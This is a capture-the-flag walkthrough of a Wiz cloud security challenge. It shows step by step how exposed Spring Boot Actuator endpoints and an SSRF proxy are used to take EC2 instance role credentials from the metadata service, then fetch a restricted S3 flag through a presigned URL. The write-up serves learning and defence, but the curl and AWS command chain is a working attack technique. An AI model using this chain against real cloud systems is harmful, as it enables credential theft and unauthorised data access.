June 2025 - Perimeter Leak
A walkthrough of the WIZ Ultimate Cloud Security Championship for June 2025
CTF Source: WIZ Ultimate Cloud Security Championship
Challenge Credit: Scott Piper
Overview
In this walkthrough, I'll demonstrate how to successfully complete the June 2025 WIZ challenge.
Walkthrough

Enumerating the Application
Upon starting this challenge we're provided with the following,
You've discovered a Spring Boot Actuator application running on AWS: curl https://ctf:[email protected] {"status":"UP"}
Truthfully, I know that Spring Boot is related to Java but otherwise have no clue how to approach this.
A quick Google search for Spring Boot Actuator takes me to the official documentation.
After a bit of research I've learned that Spring Boot is a Java-based framework enabling developers to quickly spin up production-ready applications. And I've also learned about its Actuator endpoints.
In fact, we can return that status message shared earlier by querying the endpoint like so,
curl https://ctf:[email protected]/actuator/health
{"status":"UP"}
There's another interesting endpoint which can expose sensitive information, env
The output is quite large so I'll just show a snippet.
curl https://ctf:[email protected]/actuator/env
"HOME": {
"value": "/home/ec2-user",
"origin": "System Environment Property \"HOME\""
},
"BUCKET": {
"value": "challenge01-470f711",
"origin": "System Environment Property \"BUCKET\""
},
Yea.. these endpoints shouldn't be publicly exposed 😬
Alright, so it's looking like this application is running on an EC2 and we learn of an S3 bucket name!
Based on the challenge description, it sounds like the flag will be in S3 so let's take a look.
Checking S3
Let's first check what region the bucket is in.
curl -I http://challenge01-470f711.s3.amazonaws.com
HTTP/1.1 403 Forbidden
x-amz-bucket-region: us-east-1
x-amz-request-id: 1WEMYEGZYNC10K7T
x-amz-id-2: ocHDAzycSR54o5FBof6p0wXOf8xTfA1wG9pTNAwp9vs8H8OhwQ512gxKpUwsLSrjaqP5qy8v77A=
Content-Type: application/xml
Transfer-Encoding: chunked
Date: Sun, 29 Jun 2025 14:37:08 GMT
Server: AmazonS3
Now we'll attempt to view the bucket "anonymously" i.e., --no-sign-request
aws s3 ls s3://challenge01-470f711/ --no-sign-request
An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
No dice. Maybe the bucket allows for any AWS identity to view it though? I'll try again using AWS credentials from my personal AWS account.
aws s3 ls s3://challenge01-470f711/ --profile dev
An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
Also doesn't work. I try a few other commands like list-object-versions
and get-bucket-policy
but none work.
Let's go back to enumerating the spring boot app.
Finding a Custom Proxy Endpoint
After hitting several more Actuator endpoints and examining their contents, I found actuator/mappings
to be quite interesting.
Inside we find a custom endpoint which appears to be a proxy,
{
"predicate": "{ [/proxy], params [url]}",
"handler": "challenge.Application#proxy(String)",
"details": {
"handlerMethod": {
"className": "challenge.Application",
"name": "proxy",
"descriptor": "(Ljava/lang/String;)Ljava/lang/String;"
},
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [],
"params": [
{
"name": "url",
"negated": false
}
],
"patterns": [
"/proxy"
],
"produces": []
}
}
Let's check if we can query that.
Since we know this app is running on an EC2, let's check the Instance Metadata Service (IMDS).
curl "https://ctf:[email protected]/proxy?url=http://169.254.169.254/latest/meta-data/"
HTTP error: 401 Unauthorized
Okay, so this likely means it's running IMDSv2 which requires passing a token. Let's try,
TOKEN=`curl -X PUT "https://ctf:[email protected]/proxy?url=http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
We're in!
curl -H "X-aws-ec2-metadata-token: $TOKEN" "https://ctf:[email protected]/proxy?url=http://169.254.169.254/latest/meta-data/"
ami-id
ami-launch-index
ami-manifest-path
[SNIP]
Alright, let's check if the EC2 has an Instance Profile (IAM Role attached).
curl -H "X-aws-ec2-metadata-token: $TOKEN" "https://ctf:[email protected]/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
challenge01-5592368
Let's grab its credentials.
curl -H "X-aws-ec2-metadata-token: $TOKEN" "https://ctf:[email protected]/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/challenge01-5592368"
{
"Code" : "Success",
"LastUpdated" : "2025-06-29T18:41:41Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "[REDACTED]",
"SecretAccessKey" : "[REDACTED]",
"Token" : "[REDACTED]"
[SNIP]
Nice! We're in.
Something to note here is if GuardDuty is enabled in the target environment, we'll have just triggered an alert since we used the EC2's credentials outside of itself. We're not concerned for the purposes of this challenge though.
aws --profile c1 sts get-caller-identity
{
"UserId": "AROARK7LBOHXDP2J2E3DV:i-0bfc4291dd0acd279",
"Account": "092297851374",
"Arn": "arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279"
}
Enumerating S3 (Successfully this time!)
So here's what we know so far:
The spring boot application makes reference to an S3 bucket
The application runs on EC2
The EC2 has an IAM Role attached
We can guess that the application leverages the IAM Role to access the S3 bucket. Let's try!
aws --profile c1 s3 ls s3://challenge01-470f711 --recursive
2025-06-18 11:15:24 29 hello.txt
2025-06-16 16:01:49 51 private/flag.txt
We're making progress!
The hello.txt
file isn't interesting and we can't access the flag..
aws --profile c1 s3 cp s3://challenge01-470f711/private/flag.txt -
download failed: s3://challenge01-470f711/private/flag.txt to - An error occurred (403) when calling the HeadObject operation: Forbidden
So it seems we have permissions to view the files but not access the flag file.
Can we check the bucket policy?
aws --profile c1 s3api get-bucket-policy --bucket challenge01-470f711 \
--query "Policy" --output text | jq .
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Deny",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::challenge01-470f711/private/*",
"Condition": {
"StringNotEquals": {
"aws:SourceVpce": "vpce-0dfd8b6aa1642a057"
}
}
}
]
}
Ah here we go! The flag.txt
file (or any files within the private/
prefix actually) can only be accessed from this VPC Endpoint. We'll assume it's an S3 VPC Endpoint or else the policy wouldn't make sense 😄
Accessing the flag!
So, here's the thing, we don't know if that VPC Endpoint is attached to the same VPC that our EC2 instance is in so we'll just assume it is.
aws --profile c1 ec2 describe-vpc-endpoints
An error occurred (UnauthorizedOperation) when calling the DescribeVpcEndpoints operation: You are not authorized to perform this operation. User: arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279 is not authorized to perform: ec2:DescribeVpcEndpoints because no identity-based policy allows the ec2:DescribeVpcEndpoints action
How can we access the S3 bucket from this VPC Endpoint?
We need to access it from the EC2 but all we can do is use curl
via that proxy we found.
One thing we can try to do is generate an S3 Presigned URL. This would provide us with a URL that we could then curl
through the proxy. Since the request would come from the EC2 instance, it should use that S3 VPC Endpoint we discovered in the S3 bucket policy.
Let's see if we can generate a presigned URL.
aws --profile c1 s3 presign s3://challenge01-470f711/private/flag.txt
https://challenge01-470f711[SNIP]
Nice!
And now we'll try to query it from the proxy.
curl "https://ctf:[email protected]/proxy?url=[PRESIGNEDURL]"
HTTP error: 400 Bad Request
Hmm... probably an encoding issue.
Let's try again and this time we'll URL-encode the payload using jq
and save the output to a variable.
PRESIGNEDURL=`aws --profile c1 s3 presign s3://challenge01-470f711/private/flag.txt | jq -s -R -r @uri`
curl "https://ctf:[email protected]/proxy?url=$PRESIGNEDURL"
The flag is:[REDACTED]
We did it! We found the flag.
Wrap Up
In this challenge, we were given access to a Spring Boot application running on an AWS EC2 instance. The application exposed sensitive Actuator endpoints, which revealed internal configuration details, including the name of an S3 bucket. Additionally, a custom /proxy
endpoint was vulnerable to Server-Side Request Forgery (SSRF), allowing us to query the EC2 instance metadata service (IMDS). Through this, we obtained temporary IAM role credentials assigned to the EC2 instance. Using these credentials, we were able to generate a pre-signed S3 URL and retrieve the flag stored in the otherwise restricted bucket.
Last updated
Was this helpful?